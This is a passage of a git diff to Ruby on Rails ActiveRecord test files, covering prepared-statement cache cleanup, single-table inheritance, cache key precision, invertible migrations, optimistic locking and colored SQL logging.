ProtectedParams.new(name: "Spoon").permit! ) ).permit! + part = ShipPart.new(params) + + assert_equal "Necklace", part.trinkets[0].name + assert_equal "Spoon", part.trinkets[1].name + end + end diff --git a/activerecord/test/cases/helper.rb b/activerecord/test/cases/helper.rb index 12c793c408..d2fdf03e9d 100644 --- a/activerecord/test/cases/helper.rb +++ b/activerecord/test/cases/helper.rb @@ -1,8 +1,7 @@ -require File.expand_path('../../../../load_paths', __FILE__) - require 'config' require 'active_support/testing/autorun' +require 'active_support/testing/method_call_assertions' require 'stringio' require 'active_record' @@ -45,13 +44,12 @@ def in_memory_db? ActiveRecord::Base.connection_pool.spec.config[:database] == ":memory:" end -def mysql_56? - current_adapter?(:MysqlAdapter, :Mysql2Adapter) && - ActiveRecord::Base.connection.send(:version).join(".") >= "5.6.0" +def subsecond_precision_supported? + ActiveRecord::Base.connection.supports_datetime_with_precision? end def mysql_enforcing_gtid_consistency? - current_adapter?(:MysqlAdapter, :Mysql2Adapter) && 'ON' == ActiveRecord::Base.connection.show_variable('enforce_gtid_consistency') + current_adapter?(:Mysql2Adapter) && 'ON' == ActiveRecord::Base.connection.show_variable('enforce_gtid_consistency') end def supports_savepoints? @@ -140,6 +138,7 @@ require "cases/validations_repair_helper" class ActiveSupport::TestCase include ActiveRecord::TestFixtures include ActiveRecord::ValidationsRepairHelper + include ActiveSupport::Testing::MethodCallAssertions self.fixture_path = FIXTURES_ROOT self.use_instantiated_fixtures = false diff --git a/activerecord/test/cases/hot_compatibility_test.rb b/activerecord/test/cases/hot_compatibility_test.rb index 5ba9a1029a..9fc75b7377 100644 --- a/activerecord/test/cases/hot_compatibility_test.rb +++ b/activerecord/test/cases/hot_compatibility_test.rb @@ -1,7 +1,9 @@ require 'cases/helper' +require 'support/connection_helper' class HotCompatibilityTest < ActiveRecord::TestCase self.use_transactional_tests = false + include ConnectionHelper setup do @klass = Class.new(ActiveRecord::Base) do @@ -51,4 +53,90 @@ class HotCompatibilityTest < ActiveRecord::TestCase record.reload assert_equal 'bar', record.foo end + + if current_adapter?(:PostgreSQLAdapter) + test "cleans up after prepared statement failure in a transaction" do + with_two_connections do |original_connection, ddl_connection| + record = @klass.create! bar: 'bar' + + # prepare the reload statement in a transaction + @klass.transaction do + record.reload + end + + assert get_prepared_statement_cache(@klass.connection).any?, + "expected prepared statement cache to have something in it" + + # add a new column + ddl_connection.add_column :hot_compatibilities, :baz, :string + + assert_raise(ActiveRecord::PreparedStatementCacheExpired) do + @klass.transaction do + record.reload + end + end + + assert_empty get_prepared_statement_cache(@klass.connection), + "expected prepared statement cache to be empty but it wasn't" + end + end + + test "cleans up after prepared statement failure in nested transactions" do + with_two_connections do |original_connection, ddl_connection| + record = @klass.create! bar: 'bar' + + # prepare the reload statement in a transaction + @klass.transaction do + record.reload + end + + assert get_prepared_statement_cache(@klass.connection).any?, + "expected prepared statement cache to have something in it" + + # add a new column + ddl_connection.add_column :hot_compatibilities, :baz, :string + + assert_raise(ActiveRecord::PreparedStatementCacheExpired) do + @klass.transaction do + @klass.transaction do + @klass.transaction do + record.reload + end + end + end + end + + assert_empty get_prepared_statement_cache(@klass.connection), + "expected prepared statement cache to be empty but it wasn't" + end + end + end + + private + + def get_prepared_statement_cache(connection) + connection.instance_variable_get(:@statements) + .instance_variable_get(:@cache)[Process.pid] + end + + # Rails will automatically clear the prepared statements on the connection + # that runs the migration, so we use two connections to simulate what would + # actually happen on a production system; we'd have one connection running the + # migration from the rake task ("ddl_connection" here), and we'd have another + # connection in a web worker. + def with_two_connections + run_without_connection do |original_connection| + ActiveRecord::Base.establish_connection(original_connection.merge(pool_size: 2)) + begin + ddl_connection = ActiveRecord::Base.connection_pool.checkout + begin + yield original_connection, ddl_connection + ensure + ActiveRecord::Base.connection_pool.checkin ddl_connection + end + ensure + ActiveRecord::Base.clear_all_connections! + end + end + end end diff --git a/activerecord/test/cases/inheritance_test.rb b/activerecord/test/cases/inheritance_test.rb index 3268555cb8..e234b9a6a9 100644 --- a/activerecord/test/cases/inheritance_test.rb +++ b/activerecord/test/cases/inheritance_test.rb @@ -1,4 +1,5 @@ require 'cases/helper' +require 'models/author' require 'models/company' require 'models/person' require 'models/post' @@ -6,16 +7,34 @@ require 'models/project' require 'models/subscriber' require 'models/vegetables' require 'models/shop' +require 'models/sponsor' + +module InheritanceTestHelper + def with_store_full_sti_class(&block) + assign_store_full_sti_class true, &block + end + + def without_store_full_sti_class(&block) + assign_store_full_sti_class false, &block + end + + def assign_store_full_sti_class(flag) + old_store_full_sti_class = ActiveRecord::Base.store_full_sti_class + ActiveRecord::Base.store_full_sti_class = flag + yield + ensure + ActiveRecord::Base.store_full_sti_class = old_store_full_sti_class + end +end class InheritanceTest < ActiveRecord::TestCase + include InheritanceTestHelper fixtures :companies, :projects, :subscribers, :accounts, :vegetables def test_class_with_store_full_sti_class_returns_full_name - old = ActiveRecord::Base.store_full_sti_class - ActiveRecord::Base.store_full_sti_class = true - assert_equal 'Namespaced::Company', Namespaced::Company.sti_name - ensure - ActiveRecord::Base.store_full_sti_class = old + with_store_full_sti_class do + assert_equal 'Namespaced::Company', Namespaced::Company.sti_name + end end def test_class_with_blank_sti_name @@ -33,39 +52,104 @@ class InheritanceTest < ActiveRecord::TestCase end def test_class_without_store_full_sti_class_returns_demodulized_name - old = ActiveRecord::Base.store_full_sti_class - ActiveRecord::Base.store_full_sti_class = false - assert_equal 'Company', Namespaced::Company.sti_name - ensure - ActiveRecord::Base.store_full_sti_class = old + without_store_full_sti_class do + assert_equal 'Company', Namespaced::Company.sti_name + end + end + + def test_compute_type_success + assert_equal Author, ActiveRecord::Base.send(:compute_type, 'Author') + end + + def test_compute_type_nonexistent_constant + e = assert_raises NameError do + ActiveRecord::Base.send :compute_type, 'NonexistentModel' + end + assert_equal 'uninitialized constant ActiveRecord::Base::NonexistentModel', e.message + assert_equal 'ActiveRecord::Base::NonexistentModel', e.name + end + + def test_compute_type_no_method_error + ActiveSupport::Dependencies.stub(:safe_constantize, proc{ raise NoMethodError }) do + assert_raises NoMethodError do + ActiveRecord::Base.send :compute_type, 'InvalidModel' + end + end + end + + def test_compute_type_on_undefined_method + error = nil + begin + Class.new(Author) do + alias_method :foo, :bar + end + rescue => e + error = e + end + + ActiveSupport::Dependencies.stub(:safe_constantize, proc{ raise e }) do + + exception = assert_raises NameError do + ActiveRecord::Base.send :compute_type, 'InvalidModel' + end + assert_equal error.message, exception.message + end + end + + def test_compute_type_argument_error + ActiveSupport::Dependencies.stub(:safe_constantize, proc{ raise ArgumentError }) do + assert_raises ArgumentError do + ActiveRecord::Base.send :compute_type, 'InvalidModel' + end + end end def test_should_store_demodulized_class_name_with_store_full_sti_class_option_disabled - old = ActiveRecord::Base.store_full_sti_class - ActiveRecord::Base.store_full_sti_class = false - item = Namespaced::Company.new - assert_equal 'Company', item[:type] - ensure - ActiveRecord::Base.store_full_sti_class = old + without_store_full_sti_class do + item = Namespaced::Company.new + assert_equal 'Company', item[:type] + end end def test_should_store_full_class_name_with_store_full_sti_class_option_enabled - old = ActiveRecord::Base.store_full_sti_class - ActiveRecord::Base.store_full_sti_class = true - item = Namespaced::Company.new - assert_equal 'Namespaced::Company', item[:type] - ensure - ActiveRecord::Base.store_full_sti_class = old + with_store_full_sti_class do + item = Namespaced::Company.new + assert_equal 'Namespaced::Company', item[:type] + end end def test_different_namespace_subclass_should_load_correctly_with_store_full_sti_class_option - old = ActiveRecord::Base.store_full_sti_class - ActiveRecord::Base.store_full_sti_class = true - item = Namespaced::Company.create :name => "Wolverine 2" - assert_not_nil Company.find(item.id) - assert_not_nil Namespaced::Company.find(item.id) - ensure - ActiveRecord::Base.store_full_sti_class = old + with_store_full_sti_class do + item = Namespaced::Company.create name: "Wolverine 2" + assert_not_nil Company.find(item.id) + assert_not_nil Namespaced::Company.find(item.id) + end + end + + def test_descends_from_active_record + assert !ActiveRecord::Base.descends_from_active_record? + + # Abstract subclass of AR::Base. + assert LoosePerson.descends_from_active_record? + + # Concrete subclass of an abstract class. + assert LooseDescendant.descends_from_active_record? + + # Concrete subclass of AR::Base. + assert TightPerson.descends_from_active_record? + + # Concrete subclass of a concrete class but has no type column. + assert TightDescendant.descends_from_active_record? + + # Concrete subclass of AR::Base. + assert Post.descends_from_active_record? + + # Abstract subclass of a concrete class which has a type column. + # This is pathological, as you'll never have Sub < Abstract < Concrete. + assert !StiPost.descends_from_active_record? + + # Concrete subclasses an abstract class which has a type column. + assert !SubStiPost.descends_from_active_record? end def test_company_descends_from_active_record @@ -75,6 +159,12 @@ class InheritanceTest < ActiveRecord::TestCase assert !Class.new(Company).descends_from_active_record?, 'Company subclass should not descend from ActiveRecord::Base' end + def test_abstract_class + assert !ActiveRecord::Base.abstract_class? + assert LoosePerson.abstract_class? + assert !LooseDescendant.abstract_class? + end + def test_inheritance_base_class assert_equal Post, Post.base_class assert_equal Post, SpecialPost.base_class @@ -204,10 +294,27 @@ class InheritanceTest < ActiveRecord::TestCase assert_raise(ActiveRecord::SubclassNotFound) { Company.new(:type => 'Account') } end + def test_new_with_unrelated_namespaced_type + without_store_full_sti_class do + e = assert_raises ActiveRecord::SubclassNotFound do + Namespaced::Company.new(type: 'Firm') + end + + assert_equal "Invalid single-table inheritance type: Namespaced::Firm is not a subclass of Namespaced::Company", e.message + end + end + def test_new_with_complex_inheritance assert_nothing_raised { Client.new(type: 'VerySpecialClient') } end + def test_new_without_storing_full_sti_class + without_store_full_sti_class do + item = Company.new(type: 'SpecialCo') + assert_instance_of Company::SpecialCo, item + end + end + def test_new_with_autoload_paths path = File.expand_path('../../models/autoloadable', __FILE__) ActiveSupport::Dependencies.autoload_paths << path @@ -331,40 +438,35 @@ class InheritanceTest < ActiveRecord::TestCase end class InheritanceComputeTypeTest < ActiveRecord::TestCase + include InheritanceTestHelper fixtures :companies - def setup - ActiveSupport::Dependencies.log_activity = true - end - teardown do - ActiveSupport::Dependencies.log_activity = false self.class.const_remove :FirmOnTheFly rescue nil Firm.const_remove :FirmOnTheFly rescue nil end def test_instantiation_doesnt_try_to_require_corresponding_file - ActiveRecord::Base.store_full_sti_class = false - foo = Firm.first.clone - foo.type = 'FirmOnTheFly' - foo.save! + without_store_full_sti_class do + foo = Firm.first.clone + foo.type = 'FirmOnTheFly' + foo.save! - # Should fail without FirmOnTheFly in the type condition. - assert_raise(ActiveRecord::RecordNotFound) { Firm.find(foo.id) } + # Should fail without FirmOnTheFly in the type condition. + assert_raise(ActiveRecord::RecordNotFound) { Firm.find(foo.id) } - # Nest FirmOnTheFly in the test case where Dependencies won't see it. - self.class.const_set :FirmOnTheFly, Class.new(Firm) - assert_raise(ActiveRecord::SubclassNotFound) { Firm.find(foo.id) } + # Nest FirmOnTheFly in the test case where Dependencies won't see it. + self.class.const_set :FirmOnTheFly, Class.new(Firm) + assert_raise(ActiveRecord::SubclassNotFound) { Firm.find(foo.id) } - # Nest FirmOnTheFly in Firm where Dependencies will see it. - # This is analogous to nesting models in a migration. - Firm.const_set :FirmOnTheFly, Class.new(Firm) + # Nest FirmOnTheFly in Firm where Dependencies will see it. + # This is analogous to nesting models in a migration. + Firm.const_set :FirmOnTheFly, Class.new(Firm) - # And instantiate will find the existing constant rather than trying - # to require firm_on_the_fly. - assert_nothing_raised { assert_kind_of Firm::FirmOnTheFly, Firm.find(foo.id) } - ensure - ActiveRecord::Base.store_full_sti_class = true + # And instantiate will find the existing constant rather than trying + # to require firm_on_the_fly. + assert_nothing_raised { assert_kind_of Firm::FirmOnTheFly, Firm.find(foo.id) } + end end def test_sti_type_from_attributes_disabled_in_non_sti_class @@ -372,4 +474,128 @@ class InheritanceComputeTypeTest < ActiveRecord::TestCase product = Shop::Product.new(:type => phone) assert product.save end + + def test_inheritance_new_with_subclass_as_default + original_type = Company.columns_hash["type"].default + ActiveRecord::Base.connection.change_column_default :companies, :type, 'Firm' + Company.reset_column_information + + firm = Company.new # without arguments + assert_equal 'Firm', firm.type + assert_instance_of Firm, firm + + firm = Company.new(firm_name: 'Shri Hans Plastic') # with arguments + assert_equal 'Firm', firm.type + assert_instance_of Firm, firm + + client = Client.new + assert_equal 'Client', client.type + assert_instance_of Client, client + + firm = Company.new(type: 'Client') # overwrite the default type + assert_equal 'Client', firm.type + assert_instance_of Client, firm + ensure + ActiveRecord::Base.connection.change_column_default :companies, :type, original_type + Company.reset_column_information + end +end + +class InheritanceAttributeTest < ActiveRecord::TestCase + + class Company < ActiveRecord::Base + self.table_name = 'companies' + attribute :type, :string, default: "InheritanceAttributeTest::Startup" + end + + class Startup < Company + end + + class Empire < Company + end + + def test_inheritance_new_with_subclass_as_default + startup = Company.new # without arguments + assert_equal 'InheritanceAttributeTest::Startup', startup.type + assert_instance_of Startup, startup + + empire = Company.new(type: 'InheritanceAttributeTest::Empire') # without arguments + assert_equal 'InheritanceAttributeTest::Empire', empire.type + assert_instance_of Empire, empire + end +end + +class InheritanceAttributeMappingTest < ActiveRecord::TestCase + setup do + @old_registry = ActiveRecord::Type.registry + ActiveRecord::Type.registry = ActiveRecord::Type::AdapterSpecificRegistry.new + ActiveRecord::Type.register :omg_sti, InheritanceAttributeMappingTest::OmgStiType + Company.delete_all + Sponsor.delete_all + end + + teardown do + ActiveRecord::Type.registry = @old_registry + end + + class OmgStiType < ActiveRecord::Type::String + def cast_value(value) + if value =~ /\Aomg_(.+)\z/ + $1.classify + else + value + end + end + + def serialize(value) + if value + "omg_%s" % value.underscore + end + end + end + + class Company < ActiveRecord::Base + self.table_name = 'companies' + attribute :type, :omg_sti + end + + class Startup < Company; end + class Empire < Company; end + + class Sponsor < ActiveRecord::Base + self.table_name = 'sponsors' + attribute :sponsorable_type, :omg_sti + + belongs_to :sponsorable, polymorphic: true + end + + def test_sti_with_custom_type + Startup.create! name: 'a Startup' + Empire.create! name: 'an Empire' + + assert_equal [["a Startup", "omg_inheritance_attribute_mapping_test/startup"], + ["an Empire", "omg_inheritance_attribute_mapping_test/empire"]], ActiveRecord::Base.connection.select_rows('SELECT name, type FROM companies').sort + assert_equal [["a Startup", "InheritanceAttributeMappingTest::Startup"], + ["an Empire", "InheritanceAttributeMappingTest::Empire"]], Company.all.map { |a| [a.name, a.type] }.sort + + startup = Startup.first + startup.becomes! Empire + startup.save! + + assert_equal [["a Startup", "omg_inheritance_attribute_mapping_test/empire"], + ["an Empire", "omg_inheritance_attribute_mapping_test/empire"]], ActiveRecord::Base.connection.select_rows('SELECT name, type FROM companies').sort + + assert_equal [["a Startup", "InheritanceAttributeMappingTest::Empire"], + ["an Empire", "InheritanceAttributeMappingTest::Empire"]], Company.all.map { |a| [a.name, a.type] }.sort + end + + def test_polymorphic_associations_custom_type + startup = Startup.create! name: 'a Startup' + sponsor = Sponsor.create! sponsorable: startup + + assert_equal ["omg_inheritance_attribute_mapping_test/company"], ActiveRecord::Base.connection.select_values('SELECT sponsorable_type FROM sponsors') + + sponsor = Sponsor.first + assert_equal startup, sponsor.sponsorable + end end diff --git a/activerecord/test/cases/integration_test.rb b/activerecord/test/cases/integration_test.rb index 018b7b0d8f..08a186ae07 100644 --- a/activerecord/test/cases/integration_test.rb +++ b/activerecord/test/cases/integration_test.rb @@ -81,7 +81,7 @@ class IntegrationTest < ActiveRecord::TestCase def test_cache_key_format_for_existing_record_with_updated_at dev = Developer.first - assert_equal "developers/#{dev.id}-#{dev.updated_at.utc.to_s(:nsec)}", dev.cache_key + assert_equal "developers/#{dev.id}-#{dev.updated_at.utc.to_s(:usec)}", dev.cache_key end def test_cache_key_format_for_existing_record_with_updated_at_and_custom_cache_timestamp_format @@ -96,7 +96,9 @@ class IntegrationTest < ActiveRecord::TestCase owner.update_column :updated_at, Time.current key = owner.cache_key - assert pet.touch + travel(1.second) do + assert pet.touch + end assert_not_equal key, owner.reload.cache_key end @@ -109,30 +111,39 @@ class IntegrationTest < ActiveRecord::TestCase def test_cache_key_for_updated_on dev = Developer.first dev.updated_at = nil - assert_equal "developers/#{dev.id}-#{dev.updated_on.utc.to_s(:nsec)}", dev.cache_key + assert_equal "developers/#{dev.id}-#{dev.updated_on.utc.to_s(:usec)}", dev.cache_key end def test_cache_key_for_newer_updated_at dev = Developer.first dev.updated_at += 3600 - assert_equal "developers/#{dev.id}-#{dev.updated_at.utc.to_s(:nsec)}", dev.cache_key + assert_equal "developers/#{dev.id}-#{dev.updated_at.utc.to_s(:usec)}", dev.cache_key end def test_cache_key_for_newer_updated_on dev = Developer.first dev.updated_on += 3600 - assert_equal "developers/#{dev.id}-#{dev.updated_on.utc.to_s(:nsec)}", dev.cache_key + assert_equal "developers/#{dev.id}-#{dev.updated_on.utc.to_s(:usec)}", dev.cache_key end def test_cache_key_format_is_precise_enough + skip("Subsecond precision is not supported") unless subsecond_precision_supported? dev = Developer.first key = dev.cache_key dev.touch assert_not_equal key, dev.cache_key end + def test_cache_key_format_is_not_too_precise + skip("Subsecond precision is not supported") unless subsecond_precision_supported? + dev = Developer.first + dev.touch + key = dev.cache_key + assert_equal key, dev.reload.cache_key + end + def test_named_timestamps_for_cache_key owner = owners(:blackbeard) - assert_equal "owners/#{owner.id}-#{owner.happy_at.utc.to_s(:nsec)}", owner.cache_key(:updated_at, :happy_at) + assert_equal "owners/#{owner.id}-#{owner.happy_at.utc.to_s(:usec)}", owner.cache_key(:updated_at, :happy_at) end end diff --git a/activerecord/test/cases/invalid_connection_test.rb b/activerecord/test/cases/invalid_connection_test.rb index 6523fc29fd..a16b52751a 100644 --- a/activerecord/test/cases/invalid_connection_test.rb +++ b/activerecord/test/cases/invalid_connection_test.rb @@ -1,5 +1,6 @@ require "cases/helper" +if current_adapter?(:Mysql2Adapter) class TestAdapterWithInvalidConnection < ActiveRecord::TestCase self.use_transactional_tests = false @@ -9,7 +10,7 @@ class TestAdapterWithInvalidConnection < ActiveRecord::TestCase def setup # Can't just use current adapter; sqlite3 will create a database # file on the fly. - Bird.establish_connection adapter: 'mysql', database: 'i_do_not_exist' + Bird.establish_connection adapter: 'mysql2', database: 'i_do_not_exist' end teardown do @@ -20,3 +21,4 @@ class TestAdapterWithInvalidConnection < ActiveRecord::TestCase assert_equal "#{Bird.name} (call '#{Bird.name}.connection' to establish a connection)", Bird.inspect end end +end diff --git a/activerecord/test/cases/invertible_migration_test.rb b/activerecord/test/cases/invertible_migration_test.rb index 8144f3e5c5..e030f6c588 100644 --- a/activerecord/test/cases/invertible_migration_test.rb +++ b/activerecord/test/cases/invertible_migration_test.rb @@ -1,8 +1,11 @@ require "cases/helper" +class Horse < ActiveRecord::Base +end + module ActiveRecord class InvertibleMigrationTest < ActiveRecord::TestCase - class SilentMigration < ActiveRecord::Migration + class SilentMigration < ActiveRecord::Migration::Current def write(text = '') # sssshhhhh!! end @@ -76,7 +79,33 @@ module ActiveRecord end end - class LegacyMigration < ActiveRecord::Migration + class ChangeColumnDefault1 < SilentMigration + def change + create_table("horses") do |t| + t.column :name, :string, default: "Sekitoba" + end + end + end + + class ChangeColumnDefault2 < SilentMigration + def change + change_column_default :horses, :name, from: "Sekitoba", to: "Diomed" + end + end + + class DisableExtension1 < SilentMigration + def change + enable_extension "hstore" + end + end + + class DisableExtension2 < SilentMigration + def change + disable_extension "hstore" + end + end + + class LegacyMigration < ActiveRecord::Migration::Current def self.up create_table("horses") do |t| t.column :content, :text @@ -128,8 +157,10 @@ module ActiveRecord teardown do %w[horses new_horses].each do |table| - if ActiveRecord::Base.connection.table_exists?(table) - ActiveRecord::Base.connection.drop_table(table) + ActiveSupport::Deprecation.silence do + if ActiveRecord::Base.connection.table_exists?(table) + ActiveRecord::Base.connection.drop_table(table) + end end end ActiveRecord::Migration.verbose = @verbose_was @@ -144,26 +175,30 @@ module ActiveRecord end def test_exception_on_removing_index_without_column_option - RemoveIndexMigration1.new.migrate(:up) - migration = RemoveIndexMigration2.new - migration.migrate(:up) + index_definition = ["horses", [:name, :color]] + migration1 = RemoveIndexMigration1.new + migration1.migrate(:up) + assert migration1.connection.index_exists?(*index_definition) - assert_raises(IrreversibleMigration) do - migration.migrate(:down) - end + migration2 = RemoveIndexMigration2.new + migration2.migrate(:up) + assert_not migration2.connection.index_exists?(*index_definition) + + migration2.migrate(:down) + assert migration2.connection.index_exists?(*index_definition) end def test_migrate_up migration = InvertibleMigration.new migration.migrate(:up) - assert migration.connection.table_exists?("horses"), "horses should exist" + ActiveSupport::Deprecation.silence { assert migration.connection.table_exists?("horses"), "horses should exist" } end def test_migrate_down migration = InvertibleMigration.new migration.migrate :up migration.migrate :down - assert !migration.connection.table_exists?("horses") + ActiveSupport::Deprecation.silence { assert !migration.connection.table_exists?("horses") } end def test_migrate_revert @@ -171,11 +206,11 @@ module ActiveRecord revert = InvertibleRevertMigration.new migration.migrate :up revert.migrate :up - assert !migration.connection.table_exists?("horses") + ActiveSupport::Deprecation.silence { assert !migration.connection.table_exists?("horses") } revert.migrate :down - assert migration.connection.table_exists?("horses") + ActiveSupport::Deprecation.silence { assert migration.connection.table_exists?("horses") } migration.migrate :down - assert !migration.connection.table_exists?("horses") + ActiveSupport::Deprecation.silence { assert !migration.connection.table_exists?("horses") } end def test_migrate_revert_by_part @@ -183,18 +218,24 @@ module ActiveRecord received = [] migration = InvertibleByPartsMigration.new migration.test = ->(dir){ - assert migration.connection.table_exists?("horses") - assert migration.connection.table_exists?("new_horses") + ActiveSupport::Deprecation.silence do + assert migration.connection.table_exists?("horses") + assert migration.connection.table_exists?("new_horses") + end received << dir } migration.migrate :up assert_equal [:both, :up], received - assert !migration.connection.table_exists?("horses") - assert migration.connection.table_exists?("new_horses") + ActiveSupport::Deprecation.silence do + assert !migration.connection.table_exists?("horses") + assert migration.connection.table_exists?("new_horses") + end migration.migrate :down assert_equal [:both, :up, :both, :down], received - assert migration.connection.table_exists?("horses") - assert !migration.connection.table_exists?("new_horses") + ActiveSupport::Deprecation.silence do + assert migration.connection.table_exists?("horses") + assert !migration.connection.table_exists?("new_horses") + end end def test_migrate_revert_whole_migration @@ -203,20 +244,56 @@ module ActiveRecord revert = RevertWholeMigration.new(klass) migration.migrate :up revert.migrate :up - assert !migration.connection.table_exists?("horses") + ActiveSupport::Deprecation.silence { assert !migration.connection.table_exists?("horses") } revert.migrate :down - assert migration.connection.table_exists?("horses") + ActiveSupport::Deprecation.silence { assert migration.connection.table_exists?("horses") } migration.migrate :down - assert !migration.connection.table_exists?("horses") + ActiveSupport::Deprecation.silence { assert !migration.connection.table_exists?("horses") } end end def test_migrate_nested_revert_whole_migration revert = NestedRevertWholeMigration.new(InvertibleRevertMigration) revert.migrate :down - assert revert.connection.table_exists?("horses") + ActiveSupport::Deprecation.silence { assert revert.connection.table_exists?("horses") } revert.migrate :up - assert !revert.connection.table_exists?("horses") + ActiveSupport::Deprecation.silence { assert !revert.connection.table_exists?("horses") } + end + + def test_migrate_revert_change_column_default + migration1 = ChangeColumnDefault1.new + migration1.migrate(:up) + assert_equal "Sekitoba", Horse.new.name + + migration2 = ChangeColumnDefault2.new + migration2.migrate(:up) + Horse.reset_column_information + assert_equal "Diomed", Horse.new.name + + migration2.migrate(:down) + Horse.reset_column_information + assert_equal "Sekitoba", Horse.new.name + end + + if current_adapter?(:PostgreSQLAdapter) + def test_migrate_enable_and_disable_extension + migration1 = InvertibleMigration.new + migration2 = DisableExtension1.new + migration3 = DisableExtension2.new + + migration1.migrate(:up) + migration2.migrate(:up) + assert_equal true, Horse.connection.extension_enabled?('hstore') + + migration3.migrate(:up) + assert_equal false, Horse.connection.extension_enabled?('hstore') + + migration3.migrate(:down) + assert_equal true, Horse.connection.extension_enabled?('hstore') + + migration2.migrate(:down) + assert_equal false, Horse.connection.extension_enabled?('hstore') + end end def test_revert_order @@ -245,24 +322,24 @@ module ActiveRecord def test_legacy_up LegacyMigration.migrate :up - assert ActiveRecord::Base.connection.table_exists?("horses"), "horses should exist" + ActiveSupport::Deprecation.silence { assert ActiveRecord::Base.connection.table_exists?("horses"), "horses should exist" } end def test_legacy_down LegacyMigration.migrate :up LegacyMigration.migrate :down - assert !ActiveRecord::Base.connection.table_exists?("horses"), "horses should not exist" + ActiveSupport::Deprecation.silence { assert !ActiveRecord::Base.connection.table_exists?("horses"), "horses should not exist" } end def test_up LegacyMigration.up - assert ActiveRecord::Base.connection.table_exists?("horses"), "horses should exist" + ActiveSupport::Deprecation.silence { assert ActiveRecord::Base.connection.table_exists?("horses"), "horses should exist" } end def test_down LegacyMigration.up LegacyMigration.down - assert !ActiveRecord::Base.connection.table_exists?("horses"), "horses should not exist" + ActiveSupport::Deprecation.silence { assert !ActiveRecord::Base.connection.table_exists?("horses"), "horses should not exist" } end def test_migrate_down_with_table_name_prefix @@ -271,13 +348,13 @@ module ActiveRecord migration = InvertibleMigration.new migration.migrate(:up) assert_nothing_raised { migration.migrate(:down) } - assert !ActiveRecord::Base.connection.table_exists?("p_horses_s"), "p_horses_s should not exist" + ActiveSupport::Deprecation.silence { assert !ActiveRecord::Base.connection.table_exists?("p_horses_s"), "p_horses_s should not exist" } ensure ActiveRecord::Base.table_name_prefix = ActiveRecord::Base.table_name_suffix = '' end # MySQL 5.7 and Oracle do not allow to create duplicate indexes on the same columns - unless current_adapter?(:MysqlAdapter, :Mysql2Adapter, :OracleAdapter) + unless current_adapter?(:Mysql2Adapter, :OracleAdapter) def test_migrate_revert_add_index_with_name RevertNamedIndexMigration1.new.migrate(:up) RevertNamedIndexMigration2.new.migrate(:up) diff --git a/activerecord/test/cases/locking_test.rb b/activerecord/test/cases/locking_test.rb index 9e4998a946..9fc0041892 100644 --- a/activerecord/test/cases/locking_test.rb +++ b/activerecord/test/cases/locking_test.rb @@ -169,6 +169,12 @@ class OptimisticLockingTest < ActiveRecord::TestCase assert_equal 1, p1.lock_version end + def test_lock_new_when_explicitly_passing_nil + p1 = Person.new(:first_name => 'anika', lock_version: nil) + p1.save! + assert_equal 0, p1.lock_version + end + def test_touch_existing_lock p1 = Person.find(1) assert_equal 0, p1.lock_version @@ -177,6 +183,16 @@ class OptimisticLockingTest < ActiveRecord::TestCase assert_equal 1, p1.lock_version end + def test_touch_stale_object + person = Person.create!(first_name: 'Mehmet Emin') + stale_person = Person.find(person.id) + person.update_attribute(:gender, 'M') + + assert_raises(ActiveRecord::StaleObjectError) do + stale_person.touch + end + end + def test_lock_column_name_existing t1 = LegacyThing.find(1) t2 = LegacyThing.find(1) @@ -260,7 +276,7 @@ class OptimisticLockingTest < ActiveRecord::TestCase car.wheels << Wheel.create! end assert_difference 'car.wheels.count', -1 do - car.destroy + car.reload.destroy end assert car.destroyed? end @@ -431,7 +447,7 @@ unless in_memory_db? def test_lock_sending_custom_lock_statement Person.transaction do person = Person.find(1) - assert_sql(/LIMIT 1 FOR SHARE NOWAIT/) do + assert_sql(/LIMIT \$?\d FOR SHARE NOWAIT/) do person.lock!('FOR SHARE NOWAIT') end end diff --git a/activerecord/test/cases/log_subscriber_test.rb b/activerecord/test/cases/log_subscriber_test.rb index 4192d12ff4..707a2d1da1 100644 --- a/activerecord/test/cases/log_subscriber_test.rb +++ b/activerecord/test/cases/log_subscriber_test.rb @@ -7,6 +7,20 @@ require "active_support/log_subscriber/test_helper" class LogSubscriberTest < ActiveRecord::TestCase include ActiveSupport::LogSubscriber::TestHelper include ActiveSupport::Logger::Severity + REGEXP_CLEAR = Regexp.escape(ActiveRecord::LogSubscriber::CLEAR) + REGEXP_BOLD = Regexp.escape(ActiveRecord::LogSubscriber::BOLD) + REGEXP_MAGENTA = Regexp.escape(ActiveRecord::LogSubscriber::MAGENTA) + REGEXP_CYAN = Regexp.escape(ActiveRecord::LogSubscriber::CYAN) + SQL_COLORINGS = { + SELECT: Regexp.escape(ActiveRecord::LogSubscriber::BLUE), + INSERT: Regexp.escape(ActiveRecord::LogSubscriber::GREEN), + UPDATE: Regexp.escape(ActiveRecord::LogSubscriber::YELLOW), + DELETE: Regexp.escape(ActiveRecord::LogSubscriber::RED), + LOCK: Regexp.escape(ActiveRecord::LogSubscriber::WHITE), + ROLLBACK: Regexp.escape(ActiveRecord::LogSubscriber::RED), + TRANSACTION: REGEXP_CYAN, + OTHER: REGEXP_MAGENTA + } class TestDebugLogSubscriber < ActiveRecord::LogSubscriber attr_reader :debugs @@ -71,6 +85,90 @@ class LogSubscriberTest < ActiveRecord::TestCase assert_match(/SELECT .*?FROM .?developers.?/i, @logger.logged(:debug).last) end + def test_basic_query_logging_coloration + event = Struct.new(:duration, :payload) + logger = TestDebugLogSubscriber.new + logger.colorize_logging = true + SQL_COLORINGS.each do |verb, color_regex| + logger.sql(event.new(0, sql: verb.to_s)) + assert_match(/#{REGEXP_BOLD}#{color_regex}#{verb}#{REGEXP_CLEAR}/i, logger.debugs.last) + end + end + + def test_basic_payload_name_logging_coloration_generic_sql + event = Struct.new(:duration, :payload) + logger = TestDebugLogSubscriber.new + logger.colorize_logging = true + SQL_COLORINGS.each do |verb, _| + logger.sql(event.new(0, sql: verb.to_s)) + assert_match(/#{REGEXP_BOLD}#{REGEXP_MAGENTA} \(0.0ms\)#{REGEXP_CLEAR}/i, logger.debugs.last) + + logger.sql(event.new(0, {sql: verb.to_s, name: "SQL"})) + assert_match(/#{REGEXP_BOLD}#{REGEXP_MAGENTA}SQL \(0.0ms\)#{REGEXP_CLEAR}/i, logger.debugs.last) + end + end + + def test_basic_payload_name_logging_coloration_named_sql + event = Struct.new(:duration, :payload) + logger = TestDebugLogSubscriber.new + logger.colorize_logging = true + SQL_COLORINGS.each do |verb, _| + logger.sql(event.new(0, {sql: verb.to_s, name: "Model Load"})) + assert_match(/#{REGEXP_BOLD}#{REGEXP_CYAN}Model Load \(0.0ms\)#{REGEXP_CLEAR}/i, logger.debugs.last) + + logger.sql(event.new(0, {sql: verb.to_s, name: "Model Exists"})) + 